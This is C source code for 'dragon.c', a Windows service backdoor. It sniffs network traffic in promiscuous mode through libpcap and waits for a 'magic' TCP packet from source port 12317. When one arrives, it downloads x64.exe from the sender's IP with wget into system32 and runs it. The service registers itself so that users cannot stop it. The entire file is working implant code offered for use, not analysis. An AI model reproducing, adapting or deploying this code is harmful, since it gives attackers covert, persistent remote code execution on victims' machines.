|
/* dragon.c: sniffing, non binding, reverse down/exec, portknocking service |
|
* Based on cd00r.c by [email protected] and helldoor.c by [email protected] |
|
* |
|
* You need libpcap |
|
* |
|
* Compile: |
|
* gcc.exe dragon.c -lwpcap -lws2_32 -o dragon.exe |
|
* |
|
* To Do: |
|
* Change to have each service dispatch for each interface |
|
* Change to support IPv6 |
|
* Remove Debug Logging |
|
* |
|
* By __int128 <@jarsnah12> |
|
*/ |
|
#include <windows.h> |
|
#include <stdio.h> |
|
#include "pcap.h" |
|
|
|
#define PCAP_SRC_IF_STRING "rpcap://" |
|
#define PCAP_OPENFLAG_PROMISCUOUS 1 |
|
#define LOGFILE "C:\\debug.txt" |
|
|
|
SERVICE_STATUS ServiceStatus; |
|
SERVICE_STATUS_HANDLE hStatus; |
|
|
|
/* 4 bytes IP address */ |
|
typedef struct ip_address{ |
|
u_char byte1; |
|
u_char byte2; |
|
u_char byte3; |
|
u_char byte4; |
|
}ip_address; |
|
|
|
/* IPv4 header */ |
|
typedef struct ip_header{ |
|
u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits) |
|
u_char tos; // Type of service |
|
u_short tlen; // Total length |
|
u_short identification; // Identification |
|
u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits) |
|
u_char ttl; // Time to live |
|
u_char proto; // Protocol |
|
u_short crc; // Header checksum |
|
ip_address saddr; // Source address |
|
ip_address daddr; // Destination address |
|
u_int op_pad; // Option + Padding |
|
}ip_header; |
|
|
|
/* TCP header */ |
|
typedef struct tcp_header{ |
|
uint16_t sport; |
|
uint16_t dport; |
|
uint32_t seq; |
|
uint32_t ack; |
|
uint8_t data_offset; // 4 bits |
|
uint8_t flags; |
|
uint16_t window_size; |
|
uint16_t checksum; |
|
uint16_t urgent_p; |
|
} tcp_header; |
|
|
|
/* prototype of the packet handler */ |
|
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); |
|
|
|
/* prototype of the ServiceMain handler */ |
|
void ServiceMain(int argc, char** argv); |
|
|
|
/* prototype of the Control Handler */ |
|
void ControlHandler(DWORD request); |
|
|
|
int WriteToLog(char* str) |
|
{ |
|
FILE* log; |
|
log = fopen(LOGFILE, "a+"); |
|
if (log == NULL) |
|
return -1; |
|
fprintf(log, "%s\n", str); |
|
fclose(log); |
|
return 0; |
|
} |
|
|
|
void main() |
|
{ |
|
SERVICE_TABLE_ENTRY ServiceTable[2]; |
|
ServiceTable[0].lpServiceName = "Dragon"; |
|
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; |
|
|
|
ServiceTable[1].lpServiceName = NULL; |
|
ServiceTable[1].lpServiceProc = NULL; |
|
// Start the control dispatcher thread for our service |
|
StartServiceCtrlDispatcher(ServiceTable); |
|
} |
|
|
|
void ServiceMain(int argc, char** argv) |
|
{ |
|
|
|
ServiceStatus.dwServiceType = SERVICE_WIN32; |
|
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; |
|
//ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; // Uncomment this line if you want the user the ability to stop the service. |
|
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN; // At the very least allow the service to be shut down for reboots. |
|
ServiceStatus.dwWin32ExitCode = 0; |
|
ServiceStatus.dwServiceSpecificExitCode = 0; |
|
ServiceStatus.dwCheckPoint = 0; |
|
ServiceStatus.dwWaitHint = 0; |
|
|
|
hStatus = RegisterServiceCtrlHandler("Dragon", (LPHANDLER_FUNCTION)ControlHandler); |
|
if (hStatus == (SERVICE_STATUS_HANDLE)0) |
|
{ |
|
// Registering Control Handler failed |
|
return; |
|
} |
|
|
|
// We report the running status to SCM. |
|
ServiceStatus.dwCurrentState = SERVICE_RUNNING; |
|
SetServiceStatus (hStatus, &ServiceStatus); |
|
|
|
//MEMORYSTATUS memory; |
|
// The worker loop of a service |
|
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) |
|
{ |
|
//DO Magic Here |
|
pcap_if_t *alldevs; |
|
pcap_if_t *d; |
|
int inum; |
|
int i=0; |
|
pcap_t *adhandle; |
|
char errbuf[PCAP_ERRBUF_SIZE]; |
|
u_int netmask; |
|
char packet_filter[] = "tcp"; |
|
struct bpf_program fcode; |
|
|
|
/* Retrieve the device list */ |
|
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer, "Error in pcap_findalldevs: %s\n", errbuf); |
|
WriteToLog(buffer); |
|
exit(1); |
|
} |
|
|
|
/* Print the list */ |
|
for(d=alldevs; d; d=d->next) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer, "%d. %s", ++i, d->name); |
|
WriteToLog(buffer); |
|
} |
|
|
|
if(i==0) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer, "\nNo interfaces found! Make sure WinPcap is installed.\n"); |
|
WriteToLog(buffer); |
|
return; |
|
} |
|
|
|
inum = 1; // force to listen on the first listed interface. |
|
/* |
|
if(inum < 1 || inum > i) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer, "\nInterface number out of range.\n"); |
|
WriteToLog(buffer); |
|
/* Free the device list */ |
|
pcap_freealldevs(alldevs); |
|
return; |
|
} |
|
*/ |
|
/* Jump to the selected adapter */ |
|
|
|
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); |
|
|
|
/* Open the adapter */ |
|
if ( (adhandle= pcap_open(d->name, // name of the device |
|
65536, // portion of the packet to capture. |
|
// 65536 grants that the whole packet will be captured on all the MACs. |
|
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode |
|
1000, // read timeout |
|
NULL, // remote authentication |
|
errbuf // error buffer |
|
) ) == NULL) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer,"\nUnable to open the adapter. %s is not supported by WinPcap\n"); |
|
WriteToLog(buffer); |
|
/* Free the device list */ |
|
pcap_freealldevs(alldevs); |
|
return; |
|
} |
|
|
|
/* Check the link layer. We support only Ethernet for simplicity. */ |
|
if(pcap_datalink(adhandle) != DLT_EN10MB) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer,"\nThis program works only on Ethernet networks.\n"); |
|
WriteToLog(buffer); |
|
/* Free the device list */ |
|
pcap_freealldevs(alldevs); |
|
return; |
|
} |
|
|
|
if(d->addresses != NULL) |
|
/* Retrieve the mask of the first address of the interface */ |
|
netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr; |
|
else |
|
/* If the interface is without addresses we suppose to be in a C class network */ |
|
netmask=0xffffff; |
|
|
|
|
|
//compile the filter |
|
if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 ) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer,"\nUnable to compile the packet filter. Check the syntax.\n"); |
|
WriteToLog(buffer); |
|
/* Free the device list */ |
|
pcap_freealldevs(alldevs); |
|
return; |
|
} |
|
|
|
//set the filter |
|
if (pcap_setfilter(adhandle, &fcode)<0) |
|
{ |
|
char buffer[256]; |
|
sprintf(buffer,"\nError setting the filter.\n"); |
|
WriteToLog(buffer); |
|
/* Free the device list */ |
|
pcap_freealldevs(alldevs); |
|
return; |
|
} |
|
char buffer[256]; |
|
sprintf(buffer, "\nlistening on %s...\n", d->description); |
|
WriteToLog(buffer); |
|
|
|
/* At this point, we don't need any more the device list. Free it */ |
|
pcap_freealldevs(alldevs); |
|
|
|
/* start the capture */ |
|
pcap_loop(adhandle, 0, packet_handler, NULL); |
|
|
|
// Magic has been completed (though we're in a loop) |
|
} |
|
return; |
|
} |
|
|
|
void ControlHandler(DWORD request) |
|
{ |
|
switch(request) |
|
{ |
|
case SERVICE_CONTROL_SHUTDOWN: |
|
|
|
ServiceStatus.dwWin32ExitCode = 0; |
|
ServiceStatus.dwCurrentState = SERVICE_STOPPED; |
|
SetServiceStatus (hStatus, &ServiceStatus); |
|
return; |
|
|
|
default: |
|
break; |
|
} |
|
|
|
// Report current status |
|
SetServiceStatus (hStatus, &ServiceStatus); |
|
|
|
return; |
|
} |
|
|
|
/* Callback function invoked by libpcap for every incoming packet */ |
|
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) |
|
{ |
|
struct tm *ltime; |
|
char timestr[16]; |
|
ip_header *ih; |
|
tcp_header *th; |
|
u_int ip_len; |
|
u_short sport,dport; |
|
time_t local_tv_sec; |
|
|
|
/* convert the timestamp to readable format */ |
|
local_tv_sec = header->ts.tv_sec; |
|
ltime=localtime(&local_tv_sec); |
|
strftime( timestr, sizeof timestr, "%H:%M:%S", ltime); |
|
|
|
/* retireve the position of the ip header */ |
|
ih = (ip_header *) (pkt_data + 14); //length of ethernet header |
|
|
|
if (ih->proto == 6) |
|
{ |
|
|
|
/* retrieve the position of the tcp header */ |
|
ip_len = (ih->ver_ihl & 0xf) * 4; |
|
th = (tcp_header *) ((u_char*)ih + ip_len); |
|
|
|
/* convert from network byte order to host byte order */ |
|
sport = ntohs( th->sport ); |
|
dport = ntohs( th->dport ); |
|
|
|
if (sport == 12317) { //Change this if you want it to listen on a different port. |
|
|
|
char buffer[256]; |
|
sprintf(buffer,"\nRecieved Happy Magic Packet\n"); |
|
WriteToLog(buffer); |
|
|
|
// delete x.exe in case it already exsists. |
|
remove( "c:\\windows\\system32\\x64.exe" ); //Change this and the next few lines if you want to name your binary something else. |
|
|
|
char cmd[255]; |
|
sprintf(cmd, "\"c:\\windows\\system\\wget.exe http://%d.%d.%d.%d/x64.exe\"", ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4 ); |
|
system(cmd); |
|
system("c:\\windows\\system32\\x64.exe"); |
|
} |
|
} |
|
} |